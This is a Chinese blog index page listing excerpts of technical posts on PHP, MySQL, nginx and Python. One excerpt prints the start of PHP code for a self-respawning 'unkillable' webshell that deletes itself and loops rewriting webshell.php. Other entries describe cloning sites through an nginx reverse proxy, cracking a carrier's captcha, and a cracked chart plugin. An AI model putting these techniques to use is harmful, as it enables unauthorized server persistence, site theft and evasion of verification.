自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(96)
  • 资源 (2)
  • 收藏
  • 关注

原创 简单发红包算法。

随机分配X个红包,初始版,暂留在这里笔记。。年后再处理,实际应用中需要结合redis等考虑并发的东西。<?php/*** */class readPack { //总金额 public $sumMoney = 0; //要发的红包个数 public $nums = 0; //单个最小获得红包 public $min = 0;

2017-01-22 16:31:44 1103

原创 杀不死的Webshell

在日常应用中。是否遇到过明明后门都删除完了,可是过一会儿又会出现?感觉就像杀不死一样。。。那么它们是怎么做到的呢?看代码:<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while(1){ file_put_contents('webshell.php','

2016-12-12 14:51:04 2686

转载 搭建mysql主从复制---Mysql Replication

复制的基本过程:  a、Slave的IO线程链接多Master,并请求日志文件的指定位置之后的内容。  b、Master接收到请求后,负责复制的IO线程根据请求的信息读取指定日志指定位置的日志信息,返回给Slave的IO线程。内容还包括本次返回的信息在Master端的Binary Log的日志文件名和位置。  c、Slave端的IO线程街道信息后,将内容写入Slave端的Relay

2014-11-12 10:58:35 610

原创 PHP+MySQL数据库之中文全文检索解决方案

由于MYSQL仅支持英文的全文索引FULLTEXT,不支持中文,因为中文不能像英文那样通过空格来准确的判断单词,而需要通过语义来判断,这就需要我们对中文进行切词。但是我们可以通过另一种方式来曲线解决这一问题。项目需求:1.根据关键词搜索商品,2.搜索结果排序按匹配度降序排列(类似于搜索引擎)一般情况下我们做搜索的时候是对关键词进行分词后,采用LIKE或REGEXP的

2014-08-16 14:56:25 2282

转载 Mysql全文搜索之MATCH...AGAINST的用法介绍

前提:mysql只支持英文内容的全文索引,所以只考虑英文的全文搜索。假定数据表名为post,有三列:id、title、content。id是自增长序号,title是varchar,content是text,给content添加全文索引。mysql全文搜索有三种模式:一、自然语言查找。这是mysql默认的全文搜索方式,sql示例:

2014-08-16 14:05:18 17170

转载 TLV包PHP解析类

<?php/** * * TLV包解析类 * */class Tlv { private $buffer; private $t_len = 4; //T长度 private $l_len = 4; //L长度 private $buf_len =0; //字节流长度 private $buf_a

2014-08-12 14:07:02 1418

原创 PHP的Socket通信之UDP篇

1.创建一简单的UDP服务器

2014-08-12 13:41:17 23818 6

原创 Nginx HTTP Post Method: 405 Method not allowed 解决办法

由于Apache、IIS、Nginx等绝大多数web服务器,都不允许静态文件响应POST请求,否则会返回“HTTP/1.1 405Method not allowed”错误

2014-06-26 14:45:36 4062

转载 MySql按周,按月,按日分组统计数据

知识关键词:DATE_FORMATselect DATE_FORMAT(create_time,'%Y%u') weeks,count(caseid) count from tc_case group by weeks; select DATE_FORMAT(create_time,'%Y%m%d') days,count(caseid) count from tc_case group

2014-06-13 14:53:52 721

转载 MySQL表数据迁移自动化

一.本文所涉及的内容(Contents)本文所涉及的内容(Contents)背景(Contexts)设计思路(Design)迁移自动化特点(Points)实现代码(SQL Codes)参考文献(References)二.背景(Contexts)  之前我写过关于SQL Server的数据迁移自动化的文章:SQL Server 数据库迁移偏方,在上篇文章中设计了一张临时表,这个临时表

2014-06-13 13:54:03 704

原创 nginx反向代理镜像网站做小偷站

我们可以通过Nginx的反向代理,来实现山寨或克隆一个网站也很过瘾

2014-06-11 15:19:12 8760

转载 nginx负载均衡配置说明

使用负载均衡的话,可以修改配置http节点如下:

2014-06-04 10:29:10 516

转载 nginx基本配置与参数说明

#运行用户user nobody;#启动进程,通常设置成和cpu的数量相等worker_processes 1;#全局错误日志及PID文件#error_log logs/error.log;#error_log logs/error.log notice;#error_log logs/error.log info;#pid logs/nginx.pi

2014-06-04 10:22:10 529

原创 微信公众平台 网页中一键关注代码

typeof WeixinJSBridge != "undefined" && WeixinJSBridge.invoke && WeixinJSBridge.invoke("profile", {username: 'WeixinID',scene: "57"

2014-05-30 17:26:39 10643 2

原创 DOC转PDF的vbs脚本

Option ExplicitDoc2PDF WScript.Arguments(0),WScript.Arguments(1)Sub Doc2PDF( myFile, tofile )' This subroutine opens a Word document, then saves it as PDF, and closes Word.' If the PDF file exis

2014-05-22 21:02:40 1396 1

转载 使用 EXPLAIN 关键字 检查SQL语句效率

explain详细说明通过explain可以知道mysql是如何处理语句,分析出查询或是表结构的性能瓶颈。通过expalin可以得到:1. 表的读取顺序2.表的读取操作的操作类型3.哪些索引可以使用4. 哪些索引被实际使用5.表之间的引用6.每张表有多少行被优化器查询explain显示字段1. id :语句的执行顺序标识2. select_type:

2014-05-14 14:10:55 5595

转载 python - 优雅的执行程序

在linux下,我们执行一个python程序是python /path/to/xxx.py。如果这个程序经常使用,会觉得这样有点麻烦。可以chmod +x /path/to/xxx.py,即给这个文件加上了可执行权限,就可以不用在前面敲python,直接/path/to/xxx.py运行了。不过,对于有代码洁癖的人看来,这样还不够优雅,后面还带着.py后缀。把.py后缀去掉也行,只

2014-05-10 13:20:18 626

转载 简短python 发送qq邮件代码

import smtplibfrom email.mime.text import MIMEText_user = "[email protected]"_pwd = "***"_to = "[email protected]"#使用MIMEText构造符合smtp协议的header及bodymsg = MIMEText("乔装打扮,不择手段")msg["Subject"] = "d

2014-05-10 13:16:15 820

转载 jQuery 的 live() 方法对 hover 事件的处理

要求 jQuery 1.4.3+因为hover不是标准的事件,因此无法直接使用live进行处理,故使用以下方法代替,效果一样。$("table tr").live({ mouseenter: function() { //todo }, mouseleave: function() { //todo }});

2014-03-31 10:56:25 512

转载 linux下面快速删除大量文件及快速复制大量小文件

(1)快速删除大量小文件     今天遇见一个百万级的cache目录,删了20+分钟只删掉一个目录。。。。     在网上找到了一种巧妙的快速删除方法,原理很简单,使用rsync同步一个空目录即可。对于万级文件的目录基本是秒删,回车就OK。     步骤如下:     1、建立一个空目录         mkdir -p /tmp/rsync_blank     2、确立需

2014-03-03 15:35:02 3626

原创 Mysql ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in..的解决方法

今天在做一个功能的时候,用到两个时间戳相减来做查询条件,由于其两个字段都是unsigned的,并两个的大小是不一样。所以直接相减查询的时候,就出现ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in..的错误,因为结果可能会出现负数。。。。过后查资料,发现可以通过下面的方法来解决:mysql> select lastv

2013-11-26 18:03:13 10727 1

原创 MYSQL常用函数使用备忘录(更新中...)

感脚最近记忆力不行了,好多MYSQL的常用用法都忘记了,现在开这个帖子将它们记录下来。。。·GROUP_CONCAT()该函数返回带有来自一个组的连接的非NULL值的字符串结果。SELECT GROUP_CONCAT(pid) AS pids FROM table;返回结果如:1,2,3,4,5,6·CONCAT()该函数返回结果为连接参数产生的字符串。如有

2013-11-15 15:06:53 628

原创 PHP读取超大日志文件

打开一个17G的日志文件,都不吃力,除了占cpu之外,内存占用不多,如果直接fopen根本打不开注:它是逐行读取的foreach( glob( ngx_log. "/*.log" ) as $file ) { $log = new SplFileObject($file); foreach( $log as $line ){ $ipnum = getip($line);

2013-11-12 09:43:21 2742 1

转载 FTP上传下载文件支持目录

支持ftp上传下载文件和目录、适用于windows和linux平台。#!/usr/bin/env python# -*- coding: utf-8 -*-import ftplibimport osimport sysclass FTPSync(object): conn = ftplib.FTP() def __init__(self,host,port=2

2013-11-02 14:17:20 3442

转载 一段不错的验证码代码

<?php class Imagecode{ private $width ; private $height; private $counts; private $distrubcode; private $fonturl; private $session; function __construct($width = 120,$height = 30,$count

2013-11-02 14:11:28 937

原创 PHP一句话实现获取文件夹下的文件

下面这条命令就能实现 遍历你要的目录里面的*.jpg文件存放到$Files里面去PHP代码$Files = glob(‘{*.jpg}’, GLOB_BRACE); 可以用ForEach循环输出PHP代码foreach ($Files as $filename){ echo “<img src=”.$filename.”\n”; }

2013-10-09 14:27:07 1482

转载 Console命令详解,让调试js代码变得更简单

Firebug是网页开发的利器,能够极大地提升工作效率。但是,它不太容易上手。我曾经翻译过一篇《Firebug入门指南》,介绍了一些基本用法。今天,继续介绍它的高级用法。===================================Firebug控制台详解作者:阮一峰出处:http://www.ruanyifeng.com/blog/2011/03/firebug_

2013-08-16 11:03:39 594

原创 MYSQL查询某字段中以逗号分隔的字符串的方法

首先我们建立一张带有逗号分隔的字符串。CREATE TABLE test(id int(6) NOT NULL AUTO_INCREMENT,PRIMARY KEY (id),pname VARCHAR(20) NOT NULL,pnum VARCHAR(50) NOT NULL);然后插入带有逗号分隔的测试数据INSERT INTO test(pname,pnum) VALUES

2013-08-13 16:54:08 42918 7

转载 PHPExcel操作简要说明

方法一:特点,简单,省心,<?phpheader("Content-type:application/vnd.ms-excel");header("Content-Disposition:attachment;filename=test_data.xls");$tx='表头'; echo $tx."\n\n"; //输出内容如下: echo "姓名"."\t";

2013-08-02 12:41:30 619

转载 Mysql 锁表 for update (引擎/事务)

因为之前用过oracle,知道利用select * for update 可以锁表。所以很自然就想到在mysql中能不能适应for update来锁表呢。学习参考如下 由于InnoDB预设是Row-Level Lock,所以只有「明确」的指定主键,MySQL才会执行Row lock (只锁住被选取的资料例) ,否则MySQL将会执行Table Lock (将整个资料表单给锁住)。举

2013-08-02 11:05:43 615

原创 可导出图片的图表插件flash_amcharts破解版

最近由于项目需要有饼图、柱状图、曲线图类的展示,虽然这方面的插件非常的多,特别现在基于Jquery的插件都非常多非常好用,但是项目中还有一个特别的需求就是需要将相关图表图形导出成JPG图片,这样的话Jquery插件就不行了,找了半天终于发现这个好东西,可以轻松导出图片。留下来以备后用。下载地址:http://download.csdn.net/download/xm1331305/

2013-07-31 22:55:57 1059

原创 PHP natsort 用“自然排序”算法对数组排序

boolnatsort ( array &$array )本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键/值的关联,这被称为“自然排序”。本算法和通常的计算机字符串排序算法(用于sort())的区别见下面示例。成功时返回 TRUE, 或者在失败时返回 FALSE. <?php$array1 = $array2 = arr

2013-07-23 13:27:19 1049

原创 web打印分页的问题

web页面打印怎么分页呢?页面不像word,可以随意分页,怎样解决这个问题呢?css是好东西,page-break-after: always;这个css就是用来控制分页的,always就是强制分页了。举例如下:第一页第二页第三页

2013-07-05 13:36:02 752

转载 PowerDesigner设计数据库后将name自动添加到commit中

在使用PowerDesigner对数据库进行概念模型和物理模型设计时,一般在NAME或Comment中写中文,在Code中写英文。Name用来显 示,Code在代码中使用,但Comment中的文字会保存到数据库Table或Column的Comment中,当Name已经存在的时候,再写一次 Comment很麻烦,可以使用以下代码来解决这个问题:1.PowerDesigner显示注释字段问题

2013-06-25 10:20:58 2567

原创 Python 图型处理笔记(不断更新中)

Image 模块Image 模块提供了同名的类用来表示PIL的图像。Image模块还提供了许多工厂(factory)函数,包块从文件加载图像的函数,以及创建新图像的函数。下面对Image的一些操作记录import Imageimport sysimport globimage_name = "./pic/qq.jpg"im = Image.open(image_name)

2013-06-21 16:48:54 801

原创 MYSQL常用操作命令

##MySQL数据库SQL(Structured Query Language)结构化查询语言常用基本操作:/*DDL(Data Definition Language)数据定义语言*/   ##创建数据库:   create database '数据库名称' charset utf8;   ##删除数据库:   drop database '数据库名称';   ##显示所

2013-06-09 10:40:41 468

原创 Mysql 外键约束 on delete和on update

Mysql 下,外键设置:on delete rule:1、RESTRICT:约束    如果存在从数据,不允许删除主数据。2、NO ACTION    如果存在从数据,不允许删除主数据。3、CASCADE:级联    删除主数据,顺便也删掉从数据。4、SET NULL    删除主数据,从数据外键的值设为NULL。on update rule:

2013-06-09 10:19:45 2255

转载 使用Python进行验证码识别

以 前写过一个刷校内网的人气的工具,Java的(以后再也不行Java程序了),里面用到了验证码识别,那段代码不是我自己写的:-)校内的验证是完全单色没有任何干挠的验证码,识别起来比较容易,不过从那段代码中可以看到基本的验证码识别方式。这几天在写一个程序的时候需要识别验证码,因为程序是Python写的自然打算用Python进行验证码的识别。以前没用Python处理过图像,不太了解PIL(Pyth

2013-05-30 16:01:12 1672

原创 验证码识别之中国移动话费查询

最近公司一个客户要求查询其手里的一批电话号的余额。而目前我们公司的移动接口已被收回,所以只能去移动网站抓取了。由于公司觉得自己开发没必要,钱太少,所以所说就花了5000大洋给外包出去做了。今天听说已开发完了,刚好我最近又准备辞职正在交接,又没事做。所以就看看是否也去做个试试。所以就在网上查了一下关于验证码的相关文档依葫芦画瓢,终于将这个功能搞定。中国移动网站的验证码很简单。

2013-05-29 14:17:35 4467 2

转载 PHP 长文章的分页解决办法

感谢作者 yytcpt(无影)这个类解决了带html标签的长文章的分页显示问题。/* * 长文章分页类 * @package cutpage * @author yytcpt(无影) * @version 2008-03-27 */ class cutpage{ var $

2013-05-28 11:27:17 830

flash_amcharts破解版

非常不错的一个图表插件:flash_amcharts,虽然现在同类插件非常的多,但我觉得它的亮点功能就是能导出成JPG图片,在项目中非常实用。

2013-07-31

Jquery 1.3 API CHM

Jquery 1.3 API手册,CHM

2009-03-12

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除